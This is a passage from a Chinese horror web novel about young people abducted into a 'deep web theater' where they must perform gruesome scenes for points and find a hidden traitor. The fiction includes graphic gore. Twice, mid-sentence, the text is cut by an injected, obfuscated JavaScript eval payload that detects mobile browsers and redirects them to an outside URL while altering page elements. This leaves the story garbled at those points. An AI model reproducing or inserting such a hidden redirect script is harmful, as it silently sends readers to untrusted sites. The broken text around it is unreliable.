《明天你会忘记我吗?》 1. 第 1 章 昏暗房间里,只有面前悬浮屏幕散发着幽光。 持续的画面中,一个蓬头垢面的女性站在柜子前,手里是一架高速运转的电锯。她面孔扭曲,神情恐惧夹杂着癫狂,握着武器的右手颤抖个不停。 “这么久都不动手啊。你是要弃演吗?”声音骤然响起,在狂暴嗡鸣的电锯声中尤为突兀。女性迟缓地动了动。她的眼球空洞地转向斜上方。 镜头并未转开,聚焦在女性身上。 在漫长的死寂中,唯有电锯嗡鸣作响。她忽然猛地弯腰,令人牙酸的切割声中,她生生把自己的右腿锯了下来! 血肉模糊的残肢在裤管中狰狞着,血液一滴滴掉在地上。一条腿无法支撑,她趔趄几下,还是重重摔倒。 女性发出“嗬嗬”的声音,她似乎已经丧失了说话的功能,在刚刚的摧残下都没能发出惨叫。 她努力举起电锯。细瘦的胳膊像将折的枯枝,在微风中摇摇晃晃。锯齿连转中,还有她锯下的血肉残渣飞出来,打到她脸上。惨白的皮一点点黏在凹陷的面皮上,像臃肿的虫子。 电锯颤抖地举起,对准左腿,寸一寸压下。她干裂的嘴唇在颤抖,全身上下几乎都在痉挛,让人无法理解,她怎么还能继续动作。如果这是演戏,那她的演技也实在太出类拔萃、以假乱真了。 就在高速飞转的金属利刃要碰到她的左腿时,女性嘴巴大张,喉管急剧收缩,挤压空气。那是最后一声尖叫。 她用尽最后的力气,把电锯狠狠掷向墙壁! 炸开的巨响中,她颤抖着打开一片光幕,上面浮现一行字:我不演了—— “要求受理。介于您的点数已经清零,身上也没有别的东西能作为代替,您将迎来退场。您确定吗?” 放我去死吧,我不想再演了—— 一声轻笑。女性的身体从残存的左腿开始崩解,化为光点,弥散在空气中。 悬浮屏幕“啪”地一声,消失了。 后方墙面露出,镜子般的表面倒映出观看者。 那是位女性。她有着一张漂亮面孔,但带着尖锐的冰冷,走在车站里大抵没人敢去推销。两道月眉之下,眼瞳漆黑深沉,灯光打过去,点起簇簇火光,灼亮如花。 放映已经结束,室内却又响起声音:“舒觉女士,您的预定时间已结束,请收拾好个人物品后尽快离开,不要忘记登出自己的账号。” 广播重复了三遍,然而女孩纹丝不动。她保持着相同的姿势,面色漠然,盯着空白的墙壁。她似乎对这则通知充耳不闻,就如她面对方才画面中的惨叫与悲鸣一样。 她的手环震动数下。光幕弹开一则文字讯息:“舒觉,你的放映时间到了,尽快离开,把浏览记录都删除。” 她盯着那行字,半晌,吐出一口气。手指灵活柔软,飞快地在半空投影键盘上舞动,未显影的地方,一条条浏览记录正在飞速消失,一个字节一个字节,恢复成她进来之前的样子。 舒觉在虚空中摁了一下,光幕消散,房间内的灯彻底熄灭。她走向门外。 最后一条记录无声消失。上面写着:“深网剧场重映剧目,T0311卷。” 舒觉睁开眼睛。久未见过的天花板,彩色玻璃灯罩里落下柔和的光,怪不得她刚才觉得眼皮前面很亮。 她拉开被子。这里是一间舒适的卧室,设施一应俱全,像布置好的样板房,没有人居住过的气息。 女孩侧目看去,床头柜上立着一封暗金色信函。舒觉拿下邀请函,动作干脆地撕开,里面落下一页黑色信纸,飘到她膝头。 她面无表情地浏览上方已知晓的内容。标准字体印着: 尊贵的演员阁下,欢迎您来到深网剧场,加入我们的星夜剧团! 请在这个大舞台上展现出您出类拔萃的演技、超乎常理的情感吧!只有打动挑剔的观众,您才能获得更多的点数,来支付您在这里的一切消费。 在点数达到一定阶段时,您有向剧团长许愿的权力。不论是什么愿望,不论它是否符合道德与法律,剧团长都会应允。 来吧、我亲爱的演员,请迎接独属于您的狂欢! 注:阅读完后,请下楼到客厅集合。 舒觉随手把这张纸放到一边。她翻身下床,赤脚踩在地板,快速检查一遍所有抽屉、柜内和桌面。全部空荡无物,如她所料。上次他们走得很匆忙,大概也没机会留下什么线索……而且,没人能担保那就是最近的一轮。 衣柜旁的落地镜映出她的模样。年轻的女性,脊背挺直,苗条但不纤瘦,穿着她下班后换上的白色立领T恤和高腰宝蓝色阔腿裤,脖子上绕着米色丝巾,神情冷淡。 舒觉拉开窗帘。外面已经夜幕低垂,繁星点点,而她记忆最后停留的位置,远方天际还逗留着一线微白。那么,距离她昏迷到在这里醒来,至少已经过了几个小时。也可能是好几天,很难判断。 不过,他们转移她的身体到这个地方需要多久,能否判断出此地的大概范围,这都不是她需要关心的。 毕竟,她根本不可能出得去。 一场不可预估、打破常规的游戏即将开始,而她自愿入局。 脚底芯片检测到震动,应该是其他人陆续从房间里出来,按照指示下去一楼了。舒觉考虑了一下,并未着急动身,反而坐回床上,默默等待。 一段时间后,她不再感知到震动,应该是人已经走完了。舒觉打开门,转身锁好。她的房间是离楼梯最近的几间,走两步就是楼梯了。 她回头看了一眼:长走道,两边对称分布着多扇门,一共十扇。 这比她预想的要多。毕竟一轮演员人数多在五到八人不等,十个……她没有看到过,但也可能是统计漏了。 应该没有更多需要查看的地方,也不好太晚亮相,舒觉便开始向楼下走去集合。 但可能是刚睡醒身体还迟钝着,她脚下一个趔趄,身体危险地前倾,眼见就要摔倒,她飞快伸手去抓旁边扶手—— 腰部传来抑制前冲的力道,那是一个人的手臂环绕在她腰上。同时,那个人握住了她伸出的右前臂,几乎把她完全抱了起来。 舒觉感到一阵战栗爬过脊骨,这个姿势让她几乎什么也做不了,难以反抗。但这道思绪也只是一闪而过,她快速镇定下来,转过脸对那人微笑道:“谢谢。” 不论他说了什么,这句话应对都是没错的。青年视线很快在她身上转过一圈,没有说话,只是点了下头。他看上去和她年龄相近,虹膜呈现出浓郁的金棕色,像是深色的蜜糖。 他松开她手臂。舒觉继续往下走,看见客厅里已经聚集了好些人。其中一个看见他们,张口在问:“哦,还有人。你们后面还有谁没出房间吗?” 舒觉没回答。她看到询问的青年做出哦的口型,转回头,便知道身后的青年已经先行作答。多说多错,她暂时还是想扮演一个无害的沉默角色。 她晚来,已经没太多位置选择,便向刚刚发问的青年问:“能给我让个位吗?” 他往旁边挤了挤,那边也是个男生,他听话地往旁边靠,看到舒觉时故意大幅度眨眼,向她挥手,“嗨,美女。我叫曲语冰。” 舒觉瞥他一眼,并不搭腔。中间男生脸上写着一点好笑和尴尬,吃了个闭门羹的曲语冰反而很是自得,微笑着将视线投回前方。侧过脸才能看见,他的左边耳朵上打了三个洞,全部在耳骨上,分别戴着三角形、圆形、星状的黑色耳环。 在她后面的男生走到她旁边,与另一个单人沙发的中间站定。舒觉没理会他,趁着还没人说话,她快速扫视过一圈客厅里的成员,将他们的面部特征记下。 有几个人引起了她的注意:左右两个单人沙发上都坐着职场人士。左边是位白领装扮的美人,唇上一抹正红艳亮面孔;右边的男人穿着白大褂,眉心一点小痣如慈悲相。 乍看之下,他们并无特异之处。但舒觉看见了,女人虎口与指间的茧暗示 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“不太清楚啊。我就记得自己刚下完班要去吃饭,眼睛一闭一睁,就到这里来了。”白领率先开口。 她环顾四周,问:“大家的情况是不是都差不多?明明还在做自己的事,但再次睁眼就到了这里?” 这一次,几乎所有人都点头了。那个穿绿纱裙的女孩不安地说:“那个,有没有人听过,那个‘深网剧场’的传闻?” 舒觉微微眯眼,注视对面嘴唇一张一合,“就是会忽然来到一个不一样的地方,然后要做一些事,去实现自己的愿望。我记得那个帖子是这么说的。” “啊,你说的这个我也有听说过。”白大褂男人接话,他对她鼓励地一笑,那个女孩明显松了口气。他继续道:“那就是说,我们是要按照那张邀请函上说的,演戏来实现愿望吗?” 一个短暂轻巧的沉默,仿佛乐章间的中顿符,随后众人视线都汇聚到中央,而舒觉面前忽然出现一个光屏。 她略感惊讶,只见上面浮现一行字:没错。看来这次的演员也有聪明人嘛! 她快速扫过旁边,意识到这个光屏应该只有她看得见,是专门调到她手环参数的。看来,应该是主办方不想让她错过这段开场介绍,专门给她弄了个文字转录。 她再看向中央。那里逐渐显出一道人形,光点碎片纷飞拼合,形成一个小姑娘的样子,模样俏丽明艳,却总透出一股狡黠与邪气。此人歪过头打量众人,殷红的嘴唇翘起一个笑,再度开口。 光屏同步显示着。她说:“各位演员好啊,我名穷奇,是星夜剧团经理人。接下来,由我向各位介绍规则、监督排演、发放奖励、实施惩罚。” 没人开口。她露出尖锐的犬齿,将翘起的双腿并排垂下,“本剧团一直以奉上真情实感的动人剧目为宗旨,因此,在座的各位演员们,你们要通过演绎不同剧目来赚取点数,来交换你们所需的各项物资。在这里,你们通用的钱币就是点数,获取点数随时可以在手环上查看。” “每项剧目的演员为随机挑选,被选中的演员不得拒演、不得中断,否则会被实施惩罚。每场演绎后,会有点数发放,点数高低由观众决定。通常,你演得越像,越能让人体会其中情感,点数就会越多。” 她顿了一下,咯咯笑起来。“当然,越激烈的情节一般点数会越多,付出与回报成正比嘛。” 这个“激烈”显然不是褒义。舒觉继续看屏幕闪过字符,同时小心不让别人发现她视线并不朝向穷奇。 “主要规则就这一条:通过演戏获得点数,来实现你们的愿望。有任何问题,都可以向手环里的‘幕后人员’提出,他们会在权限以内进行解答和解决。” “当然,本轮有着一条特殊规则。”她撇撇嘴唇,“你们中间,藏着一个背叛者。” “星夜剧团的编剧。找出他。” 舒觉藏好自己骤然变深的吸气。 2. 第 2 章 北山大道107号三楼,春日舞蹈室。 舒觉把手环往门口感应器上一贴,万能密钥自动运行,门向两侧打开。这类行为属于轻微违法,但充其量只是拉到警察局被教育一番,而且这是他们科室研发的版本,绝对不会触发任何警报,更不会被警方察觉。 里面有三四个孩子和一位女老师。老师身形修长苗条,是标准的舞者身材,盘得紧紧的圆髻里夹杂些许银丝,眼尾也有些皱纹。但很少人会真的觉得她上了年纪,至少舒觉不会这么觉得。 她走进去,对那位女性一点头,“老师。” 女人看她一眼便移开目光,随后她拍拍手,说:“好了,同学们,今天的课就到这里,记得在家里也要多复习,注意表情和姿势!” 学舞的孩子们鱼贯而出。很快,舞蹈室里只剩下她们两人。舒觉走近对方,说:“我上次说的事,您愿意帮忙吗?” “我已经退休了。”女人回答。 她转过身,和舒觉一同面对宽大的镜子。光滑的表面倒映出年轻与不再年轻的人,一者暗含焦虑,一者心存疑思,然而她们站立的姿态出奇的一致。 “如果要将这些官方流程和文书,我已经拿到了调令批准。”舒觉说,从镜子里看向对方嘴唇。 “我不在意你拿到了什么。我已经退休了,让我享受下退休生活不行吗?” “您真的退休了吗?可我的观察者人选上还写着您的名字呢。梁秋颦老师。” 她语调带着一点调笑、一点嘲弄,被叫到真名的人缓缓转眸,凝视着这个年轻女孩。尽管她们都知道,她在叫这个名字的时候从未做过她的老师。 “你是怎么发现的?” “我毕竟是从那个地方出来的。负责教我们侦查的老师当年和您从事的是一个职业。” 梁秋颦没再说什么。她的确会不时会站在不近的地方,装作一个陌生人,观察舒觉的举动,确保她没有表现出任何反社会、反政府的倾向,已经完全摆脱了当年七日教会的影响,成为了社会中的正常分子、政府里的可靠职员。 这项工作直到她名义上退休后,仍在继续。她自己也说不清为什么接受了这样的安排。她分明最讨厌加班,局里也给了她其他人选,接手她监控舒觉的任务。 但她还是选择了亲眼观察这个孩子。这个她亲手从七日教会组织中救出来的孩子。就好像这是一种她必须背负起的责任。 她拉回思绪。梁秋颦说:“你想要我怎么帮你?” “您不是最擅长扮演成另一个人吗?我希望您帮我设计一个,在这场游戏中能够取信于他人的角色。”舒觉也侧目,与她对视,她的嘴角略微放松下来,“毕竟,您是第一个教导我如何伪装自己、欺骗他人的老师啊。” 舒觉下意识藏好自己的震惊。她刻意没有去和任何一个人对视,但某个时刻,她视线飞快从面前光屏抬起,对面的人果然正在看向她,眼神是与她相同的诧异与担心。 她幅度轻微地摇摇头,示意一切行动照旧。对方便把视线移开了,装作也在看穷奇的样子。 接着,舒觉表现出一副吃了一惊的样子,但不能太过,用力太猛只会崩了人设。众人都在相互端详,仿佛这样就能确认那个人是否叛徒。 穷奇仍在说话:“你们没听错哦,为了增加剧团中生活的趣味性,我们的编剧特意潜入你们中间,观察各位的一举一动。” 她咯咯笑了几声。“只要找出这个人,就能获得超大量的点数。不仅可以许愿,还可以回去,继续你们的生活。” 最后一句像点燃薪柴的火星,场上一下子炸开了锅。舒觉身边的男生激动地提高了声音:“你说真的?只要找到这个‘编剧’,我们就可以回去了?” “是的。只要指认成功,剧团就会送你们回去。当然,如果你不想回去,也可以。”穷奇挥挥手,像这只是件小事。 她接着说:“不过,还请各位注意了。指认不需要征得任何人同意,只要你认为‘这个人是叛徒’,就可以直接语音指认,我方保证,在任何地点任何时间都受理。” “但是,如果你不幸指认错误了——这种事也很多见呢,那么,所有人都会直接被判定退场。” 一席话让刚看见希望的众人都沉默下来。有人小声问,是双胞胎中的女生:“‘退场’……是指什么?” “问得好。”她想必早就想为众人展示一番了,只见穷奇打了个响指,身旁骤然出现一个人。 是位女性,二十五上下,染成亮粉色的长发纠缠枯萎,如同腐烂的月季。身体纤细得不像话,好像缩水的衣服,骨架上支撑一层皮肉。她整个人都呈现出即将死亡的姿态。 她被反绑在一张椅子上,四肢都往奇怪的方向扭曲着,如同被恶意操纵的提线木偶。嘴上贴了胶布,不过此举似乎并无必要,毕竟,她看起来连发声的意愿和力气都丧失了。 舒觉认出了这个人。但她并不发声,因为很快有人惊呼:“这、这不是那个,最近很火的灵异博主!叫什么来着?” “邱容。她的粉丝有几百万,差不多是这个领域里最火的那几个。”那个白领看上去很震惊,“她为什么会在这里?” “听说她断更很久了。看来,是进入了这里。”白大褂男人说。即使在这样的时刻,他仍然处事不惊似的,面孔和语调都没有很大波动。 “没错。”穷奇咯咯笑起来,笑靥如花般,娇艳绽放着,“邱小姐自愿进入了我们剧团。不过现在,她似乎后悔了呢。” 舒觉心中一凛,意识到其中暗示。她表面冷眼看着这场精心安排的表演,等待有人察觉这条隐藏线索。 “自愿?她为什么要……” “因为她想要成名啊。她想要拥有大量的财富,自由过梦想的人生。”穷奇用一种漫不经心的口吻说着。 她侧转身,目光仔仔细细扫描过邱容面孔。“她想要实现愿望。而本剧团正好可以满足她。所以,她找到了我们,说她愿意为我们表演。” “这么热心的演员,我们怎么舍得拒绝呢?”她微笑起来,“可惜,她没能坚持到回到原本的世界里,去见证自己的愿望实现呢。” 看着那个不成人形的人,舒觉心中轻轻掠过一丝恐惧。她知道,只要她棋差一着,甚至只是某个微小的失误,都可能会沦落到相同的下场。 但这是她选择的路,即使尽头除死亡外别无他物,她也不会后退,更不会后悔。 此时,穷奇转向邱容,殷红嘴唇咧开笑容,眼中充斥狂热兴奋,“那么,邱小姐,本剧团已经满足了你‘想要活到最后’的愿望,现在,是您支付的时刻了。” “啊,我想起来了,之前你已经失去了两只眼睛、全部左臂、还有两腿膝盖以下的部分对吧?你身上也没什么好拿走了。”她仿若自言自语,随着她的话语,邱容身上的部分逐一消失,本人却毫无反应。 深夜剧团,就在众目睽睽之下,轻易剥夺走一个人的肢体。场面不恶心,不,甚至称不上有什么恐怖要素,那些她念到的人体部分,就只是消失了,仅此而已。 一个残缺的人体被绑在椅子上。然而,全程无声无息,仿佛只是一部无声电影的片段。邱容空洞的视线对着前方,头颅一晃一晃,却还没有死去。 “你身上其他的部分不足以支付这个愿望呢。真遗憾,我们只能判定你退场了。”穷奇愉快地说着,她抬起双手,向下一压—— 女人的脸一瞬间剥落而下,其后呈现的面部只剩一片空白光滑。 尖叫声贯穿房屋,不是邱容,是站在舒觉对面的一个女孩。她穿着绿色纱裙,跌坐在地,而后死死捂住嘴,撑开的眼里全是恐惧。 其他人的反应没那么大,但也基本都面色苍白。舒觉放在腿上的手十指交叉再撑开,做出一个祈祷的手势。她意识到这一点后,猛地将双手扯开了,就像这是不小心被胶水粘上的一样。 穷奇欣赏够众人的神态,最后打个响指,无数道蓝色光线刺穿邱容身躯,将她完全粉碎成了碎片。人体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364939|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的残渣飞溅,鲜血一瞬间炸开成烟花的形状,一个人就在他们面前死去。 舒觉身边的男生没忍住干呕几声。那个尖叫的女生已经泪流满面。白领和白大褂均是面色凝重。 一抹血迹溅上了那件纯白的外套,留下刺目的痕迹。 穷奇大概是很满意这个效果,她拍拍手,“好了,说这些,就是希望各位指认之前好好想清楚,不要把一些无辜的可怜人也一起拖下水了哦!毕竟,各位演员都是我方宝贵的财富呢。” 场间气氛几乎冻结成冰。没人能担得起如此巨大的代价。这条规则实在过于极端,把自己排除了也是九分之一的成功率,低得让人看不见希望。 穷奇微笑着看着他们所有人,目光逡巡在各异的面孔上,仿佛在欣赏一出盛大的表演。 良久,她拍拍手,打破这份沉寂。“我知道,各位演员想必都很好奇怎样进行表演,又会如何被评判。那么接下来,就让我们直接开始第一场演出吧!” 提示音从所有人手环中响起。小光幕浮现,上面是几行字: 【剧目:破晓之前见】 【演员甲:舒觉】 【演员乙:祝时明】 舒觉还没来得骂出声,意识便中断了。 待她能再度视物,四周场景全换了。 她正站在一个漆黑的房间里,唯一的光源是窗口透进来的幽黯月光。 舒觉低头一看,身上的衣服也变了,深色的长披风与礼服上衣,雪白的蓬蓬短裙下是荆棘缠绕般的尖跟靴,她反手感知身后莫名的重量,甚至扯到了两对小翅膀。 舒觉故意叹出口气。要是其他人没在观看,她也懒得装出一副为难的姿态。但作为他人眼里的倒霉蛋,她要是表现得太波澜不惊,或者立刻就投入表演,都很是可疑。 所以她得露出无所适从的表情,最好再迷茫地看向四周,这才像她这个年纪应有的样子。 面前弹出的光幕上快速滚动出台词和动作提示。这些全部是要完成的部分,缺少任何一环都会被判定为拒演,导致惩罚。 在表演途中,这片光幕会随演员需求出现或者消失,因此倒是不用担心忘词。 舒觉扫了一遍,随手关掉屏幕。她动起双腿,诅咒发明这种尖跟鞋子的人。要不是她平衡感比较好,保准摔个五体投地。 依照剧本提示,她向前走。 房间角落,一线月光照亮坐在地上的人的面庞。她惊讶地发现,是那个在楼梯上抓住了她,让她不至于摔倒的人。 他察觉到她的走近,略抬起头。她注意到他的左眼下方有一片淡淡的雀斑,在苍白的月光中几乎只是模糊的淡色。他的样子有些…… 她不知道是不是该说熟悉这个词。这不应该,因为这只是他们的第一次见面。 不过世上的确有些人,你第一次见的时候就会心生亲近,好像他是一个多年未见、久远归来的故友。 不论如何,现在这都不是重点。舒觉以华丽夸张的声调念出台词:“哎呀,最后你还是落到我手里了呢。感想如何,骑士先生?” 祝时明的视线移动到她面上。他面容平静,但眼中闪过一刹那的波涛,舒觉并不清楚那是不是演技。 他说:“不必废话。做你想做的事吧,血魔女。” 舒觉轻笑出声。随后,笑声越来越大,越来越张狂,直到惊飞铁栏边一只黑鸟。它扑扇翅膀的声响落在一片突兀的寂静中。 良久,两个人的呼吸声是唯一悬在空中的线。 舒觉蹲下去,手指挑起他下巴。他似乎没想起正在演戏,脸上浮现出无措,接着一层淡淡红色蔓延上面皮。 舒觉决定还是别横生枝节了,赶快演完了事。 她单膝跪下,身体前倾,两个人几乎贴在一起。她伸手扯开他的纽扣,有力地摁住他露出的肩膀。没有她预想中的躲闪。 青年皮肤上的热气浸入她的指尖。舒觉不再深想。她张开嘴,牙齿带着锐光,一口向祝时明肩颈咬下。 3. 第 3 章 从员工宿舍楼坐电梯下来,舒觉才注意到外面天全黑了。 睁开眼的时候,她就在分配给她的宿舍里了。这里她很少住,除非被警局抓去帮忙追踪网络罪犯需要连轴转,实在无可奈何。 她完全搞不清,自己为什么会在这个地方;更别提她才刚清醒不到十分钟,就有个她并不认识,却自称是政府特殊派遣调查员的人,要问她几个(实际上是非常多)问题。 关于她进入,后来又侥幸得以离开的,那个地方的问题。 舒觉烦躁地抓了下头发。她有些口渴,便在路边24小时便利店里买了杯芒果奶昔。嚼着里头的果粒,她终于觉得心情好了一点,但也意识到,需要考虑的事情还有很多。 不过,现在,她只想回家去。 沿着熟悉的路走着,不多久她便来到一座公寓楼前,刷卡、坐电梯、再刷卡开门,一系列动作一气呵成。 屋内的灯亮着,弥漫着柔和的光。舒觉愣了一下,但很快反应过来。她脱鞋,趿上自己的脱鞋就往里面走去。 见到坐在餐桌边挖酸奶的女人,她几乎觉得喉头一哽、眼眶发酸。“……姐姐。” 听到这声呼唤,那人抬头,脸上是不加掩饰的震惊:“哦我的甜心!你刚刚叫我什么?” “安姐姐。”舒觉走过去,把喝剩的果昔放到桌上。女人张大嘴巴,震惊变成了惊恐,“什么东西夺舍了我的舒觉宝贝?我要找个驱邪的——” “安丽廉、安女士、安律师。我请你行行好,放过我吧。”舒觉认命地叹口气,同时又感到庆幸:幸好,她的生活,以及其中的人都没什么改变。 但有些东西变了,她知道的。 安丽廉,舒觉的监护人兼法务代理律师,自她十六岁后一直抚养她直到现在,可以说,她是舒觉最亲近信赖的人之一。此时她正打量着那杯果昔,似乎是怀疑其中含有什么致幻成分。 作为中美混血,她中文说得溜得要命,但一些人称的口癖还是改不掉,舒觉已经投降了。她说:“你有报案吗?” “什么?”安丽廉看向她,“哦,对了,你的秘密项目进行得怎样?顺利吗?” “秘密项目?”舒觉重复了一遍。 她的监护人理所当然地点点头,“对啊。你不是和我说你们单位有个秘密项目需要你参与,要去闭关三个月没法联系吗?现在‘出狱’了?” 舒觉深吸一口气。她试图压下震惊。她本不该如此意外——剧团做出什么借口来掩饰她的失踪都有可能。 但他们不该如此天衣无缝。没有万全的伪装和设局,不可能骗得过安丽廉——她是舒觉见过最敏锐的人之一,这也是她在律师一行屡屡取胜的原因。但凡有任何一点不对的苗头,她都能像大白鲨嗅到血味那样,飞速迅游至目的地进行捕猎。 这点,她们可以之后再谈。舒觉思忖着,慢慢开口:“我要告诉你一件事,你不要吃惊。” 安丽廉关切的目光在她身上四处熨帖,“怎么了?你看上去确实状态不太好。” “这三个月,我没有什么‘秘密项目’。”她说。 “我被带进了‘深网剧场’。” 又是一阵黑暗和忽然的明亮,舒觉眨几下眼睛适应,发现自己又回到了那间客厅。 她转过头,正好与垂目的祝时明对上视线。她有点吃不准自己该如何回应对方:是要模仿自己将在这场游戏里扮演的角色,还是做出本心的回答? 她什么也不用做;和她一般年纪的青年凝视她一会儿,最后微微地笑了一下。只是眼睛简单弯出一点弧度,甚至不注意看会认为是面无表情,但舒觉能很清楚地发觉。她不由得也稍微翘起嘴角回应。 他倒是没有她想的害羞和局促。这个念头一瞬即逝,舒觉注意到面前语音转录的光幕又开始滚动了。 “这就是一次演出的过程。真是精彩的表演呢!”穷奇窃笑两声,“那么,祝愿各位在这里度过愉快又充实的时间!我就不打扰了。” 舒觉面前的光幕关闭了,她向前看,穷奇的身影也消失了。 真不愧是带来祸乱和灾害的恶兽,就这样拍拍屁股溜走,给他们扔下满地烂摊子。 她身边的男生先向她发问:“没事吧?”他眼中的担忧不像作假。 舒觉礼貌笑了一下,“我还好。你不如问一下祝时明?我那一口咬得还挺狠的。” 那个男生才反应过来,到底是谁可能受伤。他连忙转向祝时明,“你怎么样?” 被问的人顿了一下。他慢慢张口:“我没事。” 他的语速比一般人要慢。并且唇形动作很清晰。刚刚念台词的时候好像也有些。 为了证明他的情况,青年拉开灰色的针织衫外套,再扯开里面的白色衬衫,他指着自己的脖子,“你看,应该都没留下什么痕迹。” “我可没有嘴下留情啊。”舒觉开了个玩笑,对方把衣服拉回去,嘴角抽搐着,好像是不知道该笑还是该无语。“演戏的时候的确感觉挺痛的。” “那就是说,演戏时候受伤不会影响到现实?”身穿白大褂的男子沉吟着。 他对面的白领干脆地说:“问问就好了。” 她轻触手环,声音清晰:“幕后,是不是演戏时候受的所有伤害在演戏结束后都会恢复?” “八号响应。是的,任何在演戏受的伤,在演戏结束后都会还原为初始状态。”电子音响起,回答了他们的疑问。 “那还好一点。”那位白领说。舒觉身边的男生应道:“至少这对我们是有利的。” “那我们,是要按照那个女生说的,得演戏才能活下去吗?”一个怯怯的声音加入进来,是那个穿浅绿纱裙的女生。她神情惶恐,手指不安地摩挲着胸口衣服下的一个物件。 “是呢——我们非得听她的不可吗?”曲语冰懒洋洋地说,他看上去是所有人里最放松的那个,已经整个人瘫到沙发靠背上,手臂随意绕过沙发靠背,其他人不得不往前坐一些,免得被他硌着。 “但是,不听她的话,我们可能会死,不是吗?”那对双胞胎中的女孩第一次开口,她有些紧张地环视周围的大人,但并无多少畏惧,“我不想死。我要回家。” 这句话让所有人都沉默下来。舒觉脚尖轻轻点着地板,心想:终于有人说出了最重要的一点。 不论是什么愿望,总要回到真正的生活中去,才能亲眼看到它被实现。而若是许愿在这个世外孤岛上生效的东西,既然无法带回去,除了让你在这场游戏里好受一些,也没有任何意义。 “……那么,我们现在有两条路可走。”沉稳的声音打破寂静。众人都看向白大褂男子。 他镇静,且深思熟虑地说:“要么,演戏直到凑到足够点数进行许愿,选择回去;要么,找出背叛者,也可以回到日常生活里。 “虽然后者看上去更简单,并且可以让所有人都回去,但猜错的代价没人付得起。所以,我们可能也还是得走第一条路。” 他继续说,同时视线慢慢扫过每个人的面孔,“总之,还是先按照那个……‘穷奇’的要求来做吧,毕竟我们摸不清对面手段,如果贸然抵抗造成不可挽回的后果,就太晚了。” 他说得中肯,条理清晰,无形之间便让人信服了。可惜舒觉并不是那么容易被他人打动的类型。她早已学会不要轻易信任任何人。 不过,目前来看,他似乎的确只是在提出自己的建议,发表完看法后便不再言语了。毕竟他看起来是年纪最大的,也许是有一种身为长辈的责任感。 “看来,大家应该要在这里相处一段时间了。”那位白领说,她似乎也并不慌张,一直在凝神注意场间情况,与他人相比,这时候年龄和阅历的差异就明显体现出来了。 女人眉目含笑,说:“既然这样,那大家还是互相认识一下比较好,稍微做下自我介绍吧。” 说完那句话后,她便主动道:“我叫姜满,马上要二十七,是个上班族。” 说完她便示意左手边那个穿纱裙的女孩。那人吓了一跳,大概是没想到这么快就轮到自己了,透亮的眼睛快速眨动几下,才嗓音发紧地说:“我、我叫洛珠,在冀湖大学读大一……” “哎,校友啊。”曲语冰兴致很高地搭话,“你是哪个系的?” “我学航天航空……”洛珠回答,像极了上课突然被点名的走神学生,脑袋空空,有什么说什么。 曲语冰向前倾身,视线饶有兴致地粘在她身上,“哦,是学妹呢——” 他再靠回沙发,便说道:“我呢,姓曲,曲子的曲,叫曲语冰,冀湖大学法学系大二学生。洛学妹以后在学校要是有什么需要帮忙的,尽管可以找我哦。”说着便朝对方眨下一边眼睛,看得舒觉一阵恶寒,胳膊上一层鸡皮疙瘩。 “你这样的性格居然是学法的……”他俩中间的男生吐槽。 曲语冰看他,仍然是轻飘飘的口吻。“我的性格怎么了?” “算了,当我没说。”那男生懒得和他纠缠,顺着他的顺序接着自我介绍,“我叫苏彦,也是冀湖大学的,今年要大四了。我学的是计算机。” “舒觉,冀湖大学大二,计算机系。”轮到她,舒觉便简单说了几句。苏彦惊讶地看她:“你和我一个系!” “是啊,以后就靠师兄带飞了。”舒觉半开玩笑地说。 苏彦笑起来,“包我身上!以后你要是选课什么的都可以来问我,我肯定知无不言。” 他看她的眼神明显亲热一些。舒觉转眸一瞥,看到曲语冰似笑非笑的表情,她心中哼了一声。 她这厢说完了,祝时明站在那儿,见大家视线都聚到他身上,青年颇不自在地说:“我叫祝时明。也是冀湖大学大二的,我读医。” 暂时没人想多问什么,于是便轮到了洛珠身边的人。 那人有着一头亮丽的深红色齐肩发,在一众黑发中分外抢眼,相貌清秀,一眼望去居然难辨性别。 此人还未开口,曲语冰忽然说:“你要不要坐下?” 他拍拍旁边宽大的沙发扶手,“这里还能坐人。” 那人眼神有点怪异地扫过他,随后吐字时声音明显是男性:“乔木,冀湖大学大三,数学系。”他对曲语冰的话没有任何回应。 曲语冰碰了个钉子,倒也没什么特别表现。其他人大概都只会觉得,他以为对方是女孩子,想要献个殷勤没成,甚至还献错了对象。 乔木说完后,那张精致的脸上再度恢复了冷淡,他看上去是那种难以接近的类型。舒觉视线在他裤子上停留三秒,又不着痕迹地转开了。 那对双胞胎中的女孩子先说话了:“大家好,我叫邹摇光,现在在冀湖市行知中学读高二。” 然后她戳戳旁边的男孩。对方刚睡醒似的,头垂着一点一点,被邹摇光猛戳好几下才抬起头,露出张茫然的脸,唔唔两声,才说:“我叫,邹玉衡——现在也在,冀湖市行知中学,读高二……” 这表现未免也过于心大。没人说出口,但脸上多少露出类似表情。邹摇光恨铁不成钢地拍了一下他的头,“你能不能清醒点!睡睡睡就知道睡!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364940|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一脸习以为常的无奈,解释道:“抱歉,我弟弟就这样,每天都像睡不醒,不是故意的。” “没关系,大家高中都很缺觉,这也蛮正常的。”姜满轻笑几声,帮着打了个圆场。 最后一位,那个穿着白大褂的男子,也如姜满一般表现出从容的态度,声音温润:“看来我是这里最大的。我叫应如观,今年二十八,在清源市做法医。” 清源市就在冀湖市的隔壁。他倒是和大家有所差别。不过这也不能说明什么。舒觉没有太把这一点当回事。 